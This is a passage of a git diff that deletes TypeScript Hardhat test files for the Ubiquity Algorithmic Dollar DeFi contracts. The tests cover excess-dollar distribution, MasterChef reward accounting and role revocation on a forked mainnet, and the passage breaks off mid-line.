UGOVPair.balanceOf(ethers.constants.AddressZero); - const reservesBeforeBurn = await UGOVPair.getReserves(); - - const fourtyPercentAsLPBefore = await metaPool.balanceOf(bondingContractAdr); - console.log("before excess"); - // distribute uAD - await excessDollarsDistributor.distributeDollars(); - console.log("after excess"); - // 50% should go to the treasury - const treasuryBalance = await uAD.balanceOf(treasuryAdr); - expect(treasuryBalance).to.equal(fiftyPercent); - // Check that 10% goes to uGOV-UAD LP buyBack and burn - const reservesAfterBurn = await UGOVPair.getReserves(); - const remainingUAD = await uAD.balanceOf(excessDollarsDistributor.address); - // we should have 5 more uAD because of the swap and ~5 more because of - // the liquidity provided. It is not exactly 5 because the price moved because of - // the swap - expect(reservesAfterBurn[uADId]).to.equal((reservesBeforeBurn[uADId] as BigNumber).add(amount.mul(10).div(100)).sub(remainingUAD)); - // we should have 0 more uGOV - // expect(reservesAfterBurn[uGOVId]).to.equal(reservesBeforeBurn[uGOVId]); - - const uGOVLPTotalSupplyAfterDistribution = await UGOVPair.totalSupply(); - const zeroAdrBalAfterBurnLiquidity = await UGOVPair.balanceOf(ethers.constants.AddressZero); - - expect(uGOVLPTotalSupplyAfterDistribution.sub(uGOVLPTotalSupplyBeforeDistribution.add(zeroAdrBalAfterBurnLiquidity))).to.be.lt( - ethers.utils.parseEther("0.04") - ); - expect(zeroAdrBalAfterBurnLiquidity).to.be.gt(zeroAdrBalBeforeBurnLiquidity); - const scBalAfterBurnLiquidity = await UGOVPair.balanceOf(excessDollarsDistributor.address); - expect(scBalAfterBurnLiquidity).to.equal(0); - // 50% of UAD should have been deposited as liquidity to curve and transferred - // to the bonding contract - // calculate the amount of LP token to receive - - // no CRV tokens should be left - const crvBalanceAfterAddLiquidity = await crvToken.balanceOf(excessDollarsDistributor.address); - expect(crvBalanceAfterAddLiquidity).to.equal(0); - // no LP tokens should be left - const LPBalAfterAddLiquidity = await metaPool.balanceOf(excessDollarsDistributor.address); - expect(LPBalAfterAddLiquidity).to.equal(0); - // all the LP should have been transferred to the bonding contract - const fourtyPercentAsLP = await metaPool.balanceOf(bondingContractAdr); - - expect(dyuAD2LP).to.be.lt(fourtyPercentAsLP); - console.log("dyuAD2LP", ethers.utils.formatEther(dyuAD2LP)); - console.log("fourtyPercentAsLP", ethers.utils.formatEther(fourtyPercentAsLP)); - console.log("fourtyPercentAsLPBefore", ethers.utils.formatEther(fourtyPercentAsLPBefore)); - // 99.9 % precise - expect(dyuAD2LP).to.be.gt(fourtyPercentAsLP.mul(97).div(100)); - - // some uAD is left because when we swap uAD for UGOV we change the price in - // the sushi pool and then we can't add liquidity with all our uAD left - excessDollarBalance = await uAD.balanceOf(excessDollarsDistributor.address); - expect(excessDollarBalance).to.equal(BigNumber.from("12607400750000001")); - }); -}); diff --git a/packages/contracts/dollar/test/ExcessDollarsDistributorV2.test.ts b/packages/contracts/dollar/test/ExcessDollarsDistributorV2.test.ts deleted file mode 100644 index 28ed5aeff..000000000 --- a/packages/contracts/dollar/test/ExcessDollarsDistributorV2.test.ts +++ /dev/null @@ -1,146 +0,0 @@ -import { BigNumber, Signer } from "ethers"; -import { ethers } from "hardhat"; -import { expect } from "chai"; -import { SushiSwapPool } from "../artifacts/types/SushiSwapPool"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { bondingSetupV2 } from "./BondingSetupV2"; -import { IUniswapV2Router02 } from "../artifacts/types/IUniswapV2Router02"; -import { IUniswapV2Pair } from "../artifacts/types/IUniswapV2Pair"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { ExcessDollarsDistributor } from "../artifacts/types/ExcessDollarsDistributor"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { isAmountEquivalent } from "./utils/calc"; - -describe("ExcessDollarsDistributorV2", () => { - let metaPool: IMetaPool; - let manager: UbiquityAlgorithmicDollarManager; - let secondAccount: Signer; - let thirdAccount: Signer; - let treasury: Signer; - let bondingV2: BondingV2; - let uAD: UbiquityAlgorithmicDollar; - let crvToken: ERC20; - let uGOV: UbiquityGovernance; - let sushiUGOVPool: SushiSwapPool; - let treasuryAdr: string; - let excessDollarsDistributor: ExcessDollarsDistributor; - const routerAdr = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F"; // SushiV2Router02 - let router: IUniswapV2Router02; - - beforeEach(async () => { - ({ secondAccount, thirdAccount, uGOV, manager, bondingV2, treasury, uAD, metaPool, crvToken, sushiUGOVPool, excessDollarsDistributor } = - await bondingSetupV2()); - treasuryAdr = await treasury.getAddress(); - router = (await ethers.getContractAt("IUniswapV2Router02", routerAdr)) as IUniswapV2Router02; - // just mint som uAD - // mint 10000 uAD each for admin, manager and secondAccount - const mintings = [await secondAccount.getAddress(), await thirdAccount.getAddress(), manager.address].map(async (signer): Promise => { - await uAD.mint(signer, ethers.utils.parseEther("10000")); - }); - await Promise.all(mintings); - - await uGOV.mint(await thirdAccount.getAddress(), ethers.utils.parseEther("1000")); - }); - it("distributeDollars should do nothing if total uAD is 0", async () => { - await excessDollarsDistributor.distributeDollars(); - const treasuryBalance = await uAD.balanceOf(treasuryAdr); - expect(treasuryBalance).to.equal(0); - }); - - it("distributeDollars should work", async () => { - // simulate distribution of uAD to ExcessDollarDistributor - const amount = ethers.utils.parseEther("101"); - const tenPercent = amount.mul(10).div(100); - const fiftyPercent = amount.div(2); - await uAD.connect(secondAccount).transfer(excessDollarsDistributor.address, amount); - let excessDollarBalance = await uAD.balanceOf(excessDollarsDistributor.address); - expect(excessDollarBalance).to.equal(amount); - // amount of LP token to send to bonding contract - const dyuADto3CRV = await metaPool["get_dy(int128,int128,uint256)"](0, 1, amount.sub(fiftyPercent).sub(tenPercent)); - // calculate the amount of LP tokens minted based on the 3CRV deposit - const dyuAD2LP = await metaPool["calc_token_amount(uint256[2],bool)"]([0, dyuADto3CRV], true); - - const LPInBondingBeforeDistribute = await metaPool.balanceOf(bondingV2.address); - expect(LPInBondingBeforeDistribute).to.equal("403499587827859697762"); - // provide liquidity to the pair uAD-UGOV so that 1 uGOV = 10 uAD - const secondAccAdr = await secondAccount.getAddress(); - // must allow to transfer token - await uAD.connect(thirdAccount).approve(routerAdr, ethers.utils.parseEther("10000")); - await uGOV.connect(thirdAccount).approve(routerAdr, ethers.utils.parseEther("1000")); - // If the liquidity is to be added to an ERC-20/ERC-20 pair, use addLiquidity. - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - await router - .connect(thirdAccount) - .addLiquidity( - uAD.address, - uGOV.address, - ethers.utils.parseEther("10000"), - ethers.utils.parseEther("1000"), - ethers.utils.parseEther("9900"), - ethers.utils.parseEther("990"), - secondAccAdr, - blockBefore.timestamp + 100 - ); - const UGOVPair = (await ethers.getContractAt("IUniswapV2Pair", await sushiUGOVPool.pair())) as IUniswapV2Pair; - - let uGOVId = 1; - let uADId = 0; - if ((await UGOVPair.token0()) !== uAD.address) { - uADId = 1; - uGOVId = 0; - } - const uGOVLPTotalSupplyBeforeDistribution = await UGOVPair.totalSupply(); - const zeroAdrBalBeforeBurnLiquidity = await UGOVPair.balanceOf(ethers.constants.AddressZero); - const reservesBeforeBurn = await UGOVPair.getReserves(); - // distribute uAD - await excessDollarsDistributor.distributeDollars(); - // 50% should go to the treasury - const treasuryBalance = await uAD.balanceOf(treasuryAdr); - expect(treasuryBalance).to.equal(fiftyPercent); - // Check that 10% goes to uGOV-UAD LP buyBack and burn - const reservesAfterBurn = await UGOVPair.getReserves(); - const remainingUAD = await uAD.balanceOf(excessDollarsDistributor.address); - // we should have 5 more uAD because of the swap and ~5 more because of - // the liquidity provided. It is not exactly 5 because the price moved because of - // the swap - expect(reservesAfterBurn[uADId]).to.equal((reservesBeforeBurn[uADId] as BigNumber).add(amount.mul(10).div(100)).sub(remainingUAD)); - // we should have 0 more uGOV - expect(reservesAfterBurn[uGOVId]).to.equal(reservesBeforeBurn[uGOVId]); - - const uGOVLPTotalSupplyAfterDistribution = await UGOVPair.totalSupply(); - const zeroAdrBalAfterBurnLiquidity = await UGOVPair.balanceOf(ethers.constants.AddressZero); - - expect(uGOVLPTotalSupplyAfterDistribution.sub(uGOVLPTotalSupplyBeforeDistribution.add(zeroAdrBalAfterBurnLiquidity))).to.be.lt( - ethers.utils.parseEther("0.0004") - ); - expect(zeroAdrBalAfterBurnLiquidity).to.be.gt(zeroAdrBalBeforeBurnLiquidity); - const scBalAfterBurnLiquidity = await UGOVPair.balanceOf(excessDollarsDistributor.address); - expect(scBalAfterBurnLiquidity).to.equal(0); - // 50% of UAD should have been deposited as liquidity to curve and transfered - // to the bonding contract - // calculate the amount of LP token to receive - - // no CRV tokens should be left - const crvBalanceAfterAddLiquidity = await crvToken.balanceOf(excessDollarsDistributor.address); - expect(crvBalanceAfterAddLiquidity).to.equal(0); - // no LP tokens should be left - const LPBalAfterAddLiquidity = await metaPool.balanceOf(excessDollarsDistributor.address); - expect(LPBalAfterAddLiquidity).to.equal(0); - // all the LP should have been transferred to the bonding contract - const currentLPInBonding = await metaPool.balanceOf(bondingV2.address); - const fourtyPercentAsLP = currentLPInBonding.sub(LPInBondingBeforeDistribute); - - expect(dyuAD2LP).to.be.lt(fourtyPercentAsLP); - // 99.9 % precise - const isPrecise = isAmountEquivalent(dyuAD2LP.toString(), fourtyPercentAsLP.toString(), "0.0007"); - expect(isPrecise).to.be.true; - - // some uAD is left because when we swap uAD for UGOV we change the price in - // the sushi pool and then we can't add liquidity with all our uAD left - excessDollarBalance = await uAD.balanceOf(excessDollarsDistributor.address); - expect(excessDollarBalance).to.be.lt(ethers.utils.parseEther("0.02")); - }); -}); diff --git a/packages/contracts/dollar/test/MasterChef.claimUBQ.test.ts b/packages/contracts/dollar/test/MasterChef.claimUBQ.test.ts deleted file mode 100644 index 23dd1df30..000000000 --- a/packages/contracts/dollar/test/MasterChef.claimUBQ.test.ts +++ /dev/null @@ -1,138 +0,0 @@ -// Should test UBQ claiming after migration - -import { expect } from "chai"; -import { ethers, network, getNamedAccounts } from "hardhat"; -import { Signer } from "ethers"; -import { MasterChef } from "../artifacts/types/MasterChef"; -import { Bonding } from "../artifacts/types/Bonding"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { resetFork } from "./utils/hardhatNode"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; - -let masterChef: MasterChef; -let bonding: Bonding; -let metaPool: IMetaPool; - -let ubq: string; -let MasterChefAddress: string; -let MetaPoolAddress: string; -let BondingAddress: string; -let BondingV2Address: string; -let UbqWhaleAddress: string; -let UbiquityAlgorithmicDollarManagerAddress: string; - -let ubqAdmin: Signer; -let ubqWhale: Signer; -let manager: UbiquityAlgorithmicDollarManager; - -const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); -const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); -const BONDING_MANAGER = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("BONDING_MANAGER")); - -describe("MasterChef UBQ rewards", () => { - after(async () => { - await resetFork(12592661); - }); - beforeEach(async () => { - await resetFork(12910000); - ({ ubq, UbqWhaleAddress, MasterChefAddress, MetaPoolAddress, BondingAddress, BondingV2Address, UbiquityAlgorithmicDollarManagerAddress } = - await getNamedAccounts()); - - masterChef = (await ethers.getContractAt("MasterChef", MasterChefAddress)) as MasterChef; - - manager = (await ethers.getContractAt("UbiquityAlgorithmicDollarManager", UbiquityAlgorithmicDollarManagerAddress)) as UbiquityAlgorithmicDollarManager; - - bonding = (await ethers.getContractAt("Bonding", BondingAddress)) as Bonding; - - metaPool = (await ethers.getContractAt("IMetaPool", MetaPoolAddress)) as IMetaPool; - - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [UbqWhaleAddress], - }); - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [ubq], - }); - - ubqAdmin = ethers.provider.getSigner(ubq); - ubqWhale = ethers.provider.getSigner(UbqWhaleAddress); - }); - - describe("Claiming UBQ before migration", () => { - it("Should get pending UBQ from whale address", async () => { - expect(await masterChef.pendingUGOV(UbqWhaleAddress)).to.be.gt(1000); - }); - - it("Should claim UBQ rewards", async () => { - await (await masterChef.connect(ubqWhale).getRewards()).wait(); - expect(await masterChef.pendingUGOV(UbqWhaleAddress)).to.be.equal(0); - }); - }); - - describe("Claiming UBQ after migration", () => { - describe("Without MasterChef ROLES", () => { - it("Should fail without MINTER_ROLE", async () => { - const pendingUGOV = await masterChef.pendingUGOV(UbqWhaleAddress); - await manager.connect(ubqAdmin).revokeRole(UBQ_MINTER_ROLE, MasterChefAddress); - - await expect(masterChef.connect(ubqWhale).getRewards()).to.be.revertedWith("Governance token: not minter"); - - expect(await masterChef.pendingUGOV(UbqWhaleAddress)).to.be.gte(pendingUGOV); - }); - - it("Should work without BURNER_ROLE", async () => { - await manager.connect(ubqAdmin).revokeRole(UBQ_BURNER_ROLE, MasterChefAddress); - - await (await masterChef.connect(ubqWhale).getRewards()).wait(); - expect(await masterChef.pendingUGOV(UbqWhaleAddress)).to.be.equal(0); - }); - }); - - describe("Without Bonding ROLES", () => { - it("Should work without MINTER_ROLE", async () => { - await manager.connect(ubqAdmin).revokeRole(UBQ_MINTER_ROLE, BondingAddress); - - await (await masterChef.connect(ubqWhale).getRewards()).wait(); - expect(await masterChef.pendingUGOV(UbqWhaleAddress)).to.be.equal(0); - }); - - it("Should work without BURNER_ROLE", async () => { - await manager.connect(ubqAdmin).revokeRole(UBQ_BURNER_ROLE, BondingAddress); - - await (await masterChef.connect(ubqWhale).getRewards()).wait(); - expect(await masterChef.pendingUGOV(UbqWhaleAddress)).to.be.equal(0); - }); - }); - - describe("Without LP tokens", () => { - it("Should work without LP tokens", async () => { - const totalLP = await metaPool.balanceOf(BondingAddress); - expect(totalLP).to.be.gt(0); - - await bonding.connect(ubqAdmin).sendDust(BondingV2Address, MetaPoolAddress, totalLP); - - expect(await metaPool.balanceOf(BondingAddress)).to.be.equal(0); - - await (await masterChef.connect(ubqWhale).getRewards()).wait(); - expect(await masterChef.pendingUGOV(UbqWhaleAddress)).to.be.equal(0); - }); - }); - - describe("Without LP, without MasterChef and Bonding BURNER_ROLE, without Bonding MINTER_ROLE", () => { - it("Should work in real conditions", async () => { - await manager.connect(ubqAdmin).grantRole(BONDING_MANAGER, ubq); - await bonding.connect(ubqAdmin).sendDust(BondingV2Address, MetaPoolAddress, await metaPool.balanceOf(BondingAddress)); - - await manager.connect(ubqAdmin).revokeRole(UBQ_BURNER_ROLE, MasterChefAddress); - - await manager.connect(ubqAdmin).revokeRole(UBQ_BURNER_ROLE, BondingAddress); - - await manager.connect(ubqAdmin).revokeRole(UBQ_MINTER_ROLE, BondingAddress); - - await (await masterChef.connect(ubqWhale).getRewards()).wait(); - expect(await masterChef.pendingUGOV(UbqWhaleAddress)).to.be.equal(0); - }); - }); - }); -}); diff --git a/packages/contracts/dollar/test/MasterChef.test.ts b/packages/contracts/dollar/test/MasterChef.test.ts deleted file mode 100644 index 69775b378..000000000 --- a/packages/contracts/dollar/test/MasterChef.test.ts +++ /dev/null @@ -1,217 +0,0 @@ -import { ethers } from "hardhat"; -import { describe, it } from "mocha"; -import { BigNumber, Signer } from "ethers"; -import { expect } from "./setup"; -import { bondingSetup } from "./BondingSetup"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { MasterChef } from "../artifacts/types/MasterChef"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { mineNBlock } from "./utils/hardhatNode"; -import { swap3CRVtoUAD } from "./utils/swap"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { calculateUGOVMultiplier, isAmountEquivalent } from "./utils/calc"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { Bonding } from "../artifacts/types/Bonding"; -import { BondingShare } from "../artifacts/types/BondingShare"; - -describe("MasterChef", () => { - const one: BigNumber = BigNumber.from(10).pow(18); // one = 1 ether = 10^18 - let masterChef: MasterChef; - - let secondAccount: Signer; - let curveWhale: Signer; - let treasury: Signer; - let secondAddress: string; - let metaPool: IMetaPool; - let twapOracle: TWAPOracle; - let uAD: UbiquityAlgorithmicDollar; - let crvToken: ERC20; - let uGOV: UbiquityGovernance; - let uGOVRewardForHundredBlock: BigNumber; - let bonding: Bonding; - let bondingShare: BondingShare; - - before(async () => { - ({ masterChef, bonding, bondingShare, uGOV, curveWhale, treasury, crvToken, secondAccount, metaPool, twapOracle, uAD } = await bondingSetup()); - secondAddress = await secondAccount.getAddress(); - // for testing purposes set the week equal to one block - await bonding.setBlockCountInAWeek(1); - }); - - describe("TwapPrice", () => { - it("TwapPrice should be 1", async () => { - const twapPrice = await twapOracle.consult(uAD.address); - expect(twapPrice).to.be.equal(one); - }); - }); - - describe("updateUGOVMultiplier", () => { - it("should update UGOVMultiplier, and get multiplied by 1.05 at price 1", async () => { - const m0 = await masterChef.uGOVmultiplier(); - expect(m0).to.equal(ethers.utils.parseEther("1")); // m0 = m1 * 1.05 - // push uAD price down - await swap3CRVtoUAD(metaPool, crvToken, ethers.utils.parseEther("1000"), curveWhale); - await twapOracle.update(); - await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - await twapOracle.update(); - - const twapPrice = await twapOracle.consult(uAD.address); - expect(twapPrice).to.be.gt(one); - // multiplier * ( 1.05 / (1 + abs( 1 - price ) ) ) - const calcMultiplier = calculateUGOVMultiplier(m0.toString(), twapPrice.toString()); - - // need to do a deposit to trigger the uGOV Multiplier calculation - await metaPool.connect(secondAccount).approve(bonding.address, one); - await bonding.connect(secondAccount).deposit(one, 1); - const m1 = await masterChef.uGOVmultiplier(); - - expect(m1).to.equal(calcMultiplier); - // assert that if the price doesn't change neither is the multiplier - const user = await masterChef.connect(secondAccount).userInfo(secondAddress); - const tokenIds = await bondingShare.holderTokens(secondAddress); - - await bonding.connect(secondAccount).withdraw(user.amount, tokenIds[0]); - - const m2 = await masterChef.uGOVmultiplier(); - expect(m1).to.equal(m2); // m2 = m1 * 1.05 - }); - }); - - describe("deposit", () => { - it("should be able to deposit", async () => { - const amount = one.mul(100); - await metaPool.connect(secondAccount).approve(bonding.address, amount); - await expect(bonding.connect(secondAccount).deposit(amount, 1)).to.emit(metaPool, "Transfer").withArgs(secondAddress, bonding.address, amount); - - const user = await masterChef.connect(secondAccount).userInfo(secondAddress); - // user amount is equal to the amount of user's bonding share - const tokensID = await bondingShare.holderTokens(secondAddress); - const secondAccountSharebalance = await bondingShare.balanceOf(secondAddress, tokensID[0]); - expect(user.amount).to.equal(secondAccountSharebalance); - // do not have pending rewards just after depositing - const pendingUGOV = await masterChef.pendingUGOV(secondAddress); - expect(pendingUGOV).to.equal(0); - - const pool = await masterChef.pool(); - expect(user.rewardDebt).to.equal(user.amount.mul(pool.accuGOVPerShare).div(BigNumber.from(10).pow(12))); - }); - - it("should calculate pendingUGOV after 100 blocks", async () => { - await mineNBlock(100); - const pendingUGOV = await masterChef.pendingUGOV(secondAddress); - const uGOVmultiplier = await masterChef.uGOVmultiplier(); - const uGOVPerBlock = await masterChef.uGOVPerBlock(); - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const pool = await masterChef.pool(); - const fromBlock = pool.lastRewardBlock; - const numberOfBlock = lastBlock.number - fromBlock.toNumber(); - expect(numberOfBlock).to.equal(100); - - // uGOVReward = (( (_to - _from) * uGOVmultiplier ) * uGOVPerBlock) / 1e18 - uGOVRewardForHundredBlock = BigNumber.from(numberOfBlock).mul(uGOVmultiplier).mul(uGOVPerBlock).div(one); - - const totalLPSupply = await bondingShare.totalSupply(); - // (uGOVReward * 1e12) / lpSupply) - // here as the amount is the amount of bonding shares - // we should divide by the total supply to get - // the uGOV per share - const accuGOVPerShare = uGOVRewardForHundredBlock.mul(BigNumber.from(10).pow(12)).div(totalLPSupply); - - const user = await masterChef.connect(secondAccount).userInfo(secondAddress); - - const pendingCalculated = user.amount.mul(accuGOVPerShare).div(BigNumber.from(10).pow(12)); - - const isPrecise = isAmountEquivalent(pendingUGOV.toString(), pendingCalculated.toString(), "0.0000000000000000001"); - expect(isPrecise).to.be.true; - }); - }); - - describe("withdraw", () => { - it("should be able to withdraw", async () => { - // get reward - const lastBlockB = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const poolB = await masterChef.pool(); - const fromBlockB = poolB.lastRewardBlock; - const numberOfBlockB = lastBlockB.number - fromBlockB.toNumber(); - const auGOVmultiplier = await masterChef.uGOVmultiplier(); - const uGOVPerBlockB = await masterChef.uGOVPerBlock(); - const calculatedUGOVRewardToBeMinted = BigNumber.from(numberOfBlockB + 1) - .mul(auGOVmultiplier) - .mul(uGOVPerBlockB) - .div(one); - - const uGovBalanceBefore = await uGOV.balanceOf(secondAddress); - - await expect(masterChef.connect(secondAccount).getRewards()) - .to.emit(uGOV, "Transfer") - .withArgs(ethers.constants.AddressZero, masterChef.address, calculatedUGOVRewardToBeMinted) // minting uGOV - .and.to.emit(uGOV, "Transfer") - .withArgs(ethers.constants.AddressZero, await treasury.getAddress(), calculatedUGOVRewardToBeMinted.div(5)); // minting for treasury - const uGovBalanceAfter = await uGOV.balanceOf(secondAddress); - - // as there is only one LP provider he gets pretty much all the rewards - const isPrecise = isAmountEquivalent(uGovBalanceAfter.toString(), uGovBalanceBefore.add(calculatedUGOVRewardToBeMinted).toString(), "0.000000000001"); - expect(isPrecise).to.be.true; - - // do not have pending rewards anymore just after withdrawing rewards - const pendingUGOV = await masterChef.pendingUGOV(secondAddress); - expect(pendingUGOV).to.equal(0); - - // push the price further so that the reward should be less than previously - // push uAD price down - - await swap3CRVtoUAD(metaPool, crvToken, ethers.utils.parseEther("10000"), curveWhale); - await twapOracle.update(); - await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - await twapOracle.update(); - const twapPrice3 = await twapOracle.consult(uAD.address); - - expect(twapPrice3).to.be.gt(one); - // should withdraw rewards to trigger the uGOVmultiplier - await masterChef.connect(secondAccount).getRewards(); - await mineNBlock(100); - - const uGOVmultiplier = await masterChef.uGOVmultiplier(); - const uGOVPerBlock = await masterChef.uGOVPerBlock(); - const lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const pool = await masterChef.pool(); - const fromBlock = pool.lastRewardBlock; - const numberOfBlock = lastBlock.number - fromBlock.toNumber(); - expect(numberOfBlock).to.equal(100); - - // uGOVReward = (( (_to - _from) * uGOVmultiplier ) * uGOVPerBlock) / 1e18 - const NewuGOVRewardForHundredBlock = BigNumber.from(numberOfBlock).mul(uGOVmultiplier).mul(uGOVPerBlock).div(one); - - expect(NewuGOVRewardForHundredBlock).to.be.lt(uGOVRewardForHundredBlock.div(BigNumber.from(2))); - - // calculating uGOV Rewards - const totalLPSupply = await bondingShare.totalSupply(); - const user = await masterChef.connect(secondAccount).userInfo(secondAddress); - const multiplier = BigNumber.from(101).mul(uGOVmultiplier); - const uGOVReward = multiplier.mul(uGOVPerBlock).div(one); - - const pendingCalculated = multiplier.mul(uGOVPerBlock).div(one).mul(user.amount).div(totalLPSupply); - - // there is a loss of precision - const lostPrecision = pendingCalculated.mod(BigNumber.from(1e8)); - - // when withdrawing we also get our UGOV Rewards - const tokenIds = await bondingShare.holderTokens(secondAddress); - const baluGOVBefore = await uGOV.balanceOf(secondAddress); - await expect(bonding.connect(secondAccount).withdraw(one.mul(100), tokenIds[0])) - .to.emit(uGOV, "Transfer") - // ugov minting - .withArgs(ethers.constants.AddressZero, masterChef.address, uGOVReward); - const baluGovAfter = await uGOV.balanceOf(secondAddress); - - const isRewardPrecise = isAmountEquivalent(baluGovAfter.sub(baluGOVBefore).toString(), pendingCalculated.sub(lostPrecision).toString(), "0.0000000001"); - - expect(isRewardPrecise).to.be.true; - }); - - it("should retrieve pendingUGOV", async () => { - expect(await masterChef.pendingUGOV(secondAddress)).to.be.equal(0); - }); - }); -}); diff --git a/packages/contracts/dollar/test/MasterChefV2.1.test.ts b/packages/contracts/dollar/test/MasterChefV2.1.test.ts deleted file mode 100644 index 9d415e6f8..000000000 --- a/packages/contracts/dollar/test/MasterChefV2.1.test.ts +++ /dev/null @@ -1,174 +0,0 @@ -import { expect } from "chai"; -import { ethers, deployments, artifacts } from "hardhat"; -import { BigNumber, Signer } from "ethers"; -import { impersonate, impersonateWithEther, resetFork, mineNBlock } from "./utils/hardhatNode"; - -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { IERC20Ubiquity } from "../artifacts/types/IERC20Ubiquity"; - -const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); -const ten = BigNumber.from(10); -const one = ten.pow(18); // 1 ether - -const startBlock = 13004900; -const adminAddress = "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd"; -const managerAddress = "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"; -const newOneAddress = "0xd6efc21d8c941aa06f90075de1588ac7e912fec6"; - -let masterChefV2: MasterChefV2; -let bondingV2: BondingV2; -let bondingShareV2: BondingShareV2; -let UBQ: IERC20Ubiquity; - -let admin: Signer; -let newOne: Signer; - -describe("MasterChefV2.1", () => { - beforeEach(async () => { - await resetFork(startBlock); - - admin = await impersonate(adminAddress); - newOne = await impersonate(newOneAddress); - - // await deployments.fixture(["MasterChefV2.1"]); - // const masterChefV2Address = (await deployments.get("MasterChefV2")).address; - const masterChefV2Address = "0xdae807071b5AC7B6a2a343beaD19929426dBC998"; - masterChefV2 = (await ethers.getContractAt("MasterChefV2", masterChefV2Address)) as MasterChefV2; - - const manager: UbiquityAlgorithmicDollarManager = (await ethers.getContractAt( - "UbiquityAlgorithmicDollarManager", - managerAddress - )) as UbiquityAlgorithmicDollarManager; - - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, masterChefV2Address); - await masterChefV2.connect(admin).setUGOVPerBlock(one); - await manager.connect(admin).setMasterChefAddress(masterChefV2Address); - - bondingV2 = (await ethers.getContractAt("BondingV2", "0xC251eCD9f1bD5230823F9A0F99a44A87Ddd4CA38")) as BondingV2; - bondingShareV2 = (await ethers.getContractAt("BondingShareV2", "0x2dA07859613C14F6f05c97eFE37B9B4F212b5eF5")) as BondingShareV2; - UBQ = (await ethers.getContractAt("UbiquityGovernance", "0x4e38d89362f7e5db0096ce44ebd021c3962aa9a0")) as IERC20Ubiquity; - }); - - it("Should deploy", () => { - expect(masterChefV2.address).to.be.properAddress; - }); - - it("Should have proper balances", async () => { - const amounts = [ - "0", - "1301000000000000000", - "74603879373206500005186", - "44739174270101943975392", - "1480607760433248019987", - "9351040526163838324896", - "8991650309086743220575", - ]; - - for (let bondId = 0; bondId <= 6; bondId += 1) { - // eslint-disable-next-line no-await-in-loop - const bond = await bondingShareV2.getBond(bondId); - - // console.log(`BOND #${bondId} ${bond[0]}`); - // console.log(`lpAmount ${ethers.utils.formatEther(bond[5])}`); - - expect(bond[5]).to.be.equal(amounts[bondId]); - } - }); - - it("Should have proper values", async () => { - let bondId = 1; - - expect(await masterChefV2.totalShares()).to.be.equal("139167653238992273546036"); - expect(await masterChefV2.pendingUGOV(bondId)).to.be.equal("613722535788000"); - let amount: BigNumber; - let rewardDebt: BigNumber; - [amount, rewardDebt] = await masterChefV2.getBondingShareInfo(bondId); - expect(amount).to.be.equal("1301000000000000000"); - expect(rewardDebt).to.be.equal(0); - expect(await bondingShareV2.totalSupply()).to.be.equal(6); - - await bondingV2.connect(admin).setMigrating(true); - await (await bondingV2.connect(newOne).migrate()).wait(); - - bondId = (await bondingShareV2.holderTokens(newOneAddress))[0].toNumber(); - - // mine some blocks to get pendingUGOV - await mineNBlock(10); - - expect(await masterChefV2.totalShares()).to.be.equal("164423351646027648930634"); - expect(await masterChefV2.pendingUGOV(bondId)).to.be.equal("1575610941338545019"); - [amount, rewardDebt] = await masterChefV2.getBondingShareInfo(bondId); - expect(amount).to.be.equal("25255698407035375384598"); - expect(rewardDebt).to.be.equal("12286215194375831320"); - expect(await bondingShareV2.totalSupply()).to.be.equal(7); - }); - - it("Should get back UBQ", async () => { - const user2 = "0x4007ce2083c7f3e18097aeb3a39bb8ec149a341d"; - await impersonateWithEther(user2, 100); - const bond2Signer = ethers.provider.getSigner(user2); - - await mineNBlock(1000); - - const pendingUGOV1 = await masterChefV2.pendingUGOV(2); - const bond1 = await bondingShareV2.getBond(2); - const ubq1 = await UBQ.balanceOf(user2); - - // console.log("pendingUGOV", ethers.utils.formatEther(pendingUGOV1)); - // console.log("lpAmount", ethers.utils.formatEther(bond1[5])); - // console.log("UBQ", ethers.utils.formatEther(ubq1)); - - expect(pendingUGOV1).to.be.equal("585633375335031009566"); - expect(bond1[5]).to.be.equal("74603879373206500005186"); - expect(ubq1).to.be.equal("168394820774964495022850"); - expect(bond1[0].toLowerCase()).to.be.equal(user2.toLowerCase()); - - await masterChefV2.connect(bond2Signer).getRewards(2); - const pendingUGOV2 = await masterChefV2.pendingUGOV(2); - const ubq2 = await UBQ.balanceOf(user2); - - // console.log("pendingUGOV", ethers.utils.formatEther(pendingUGOV2)); - // console.log("UBQ", 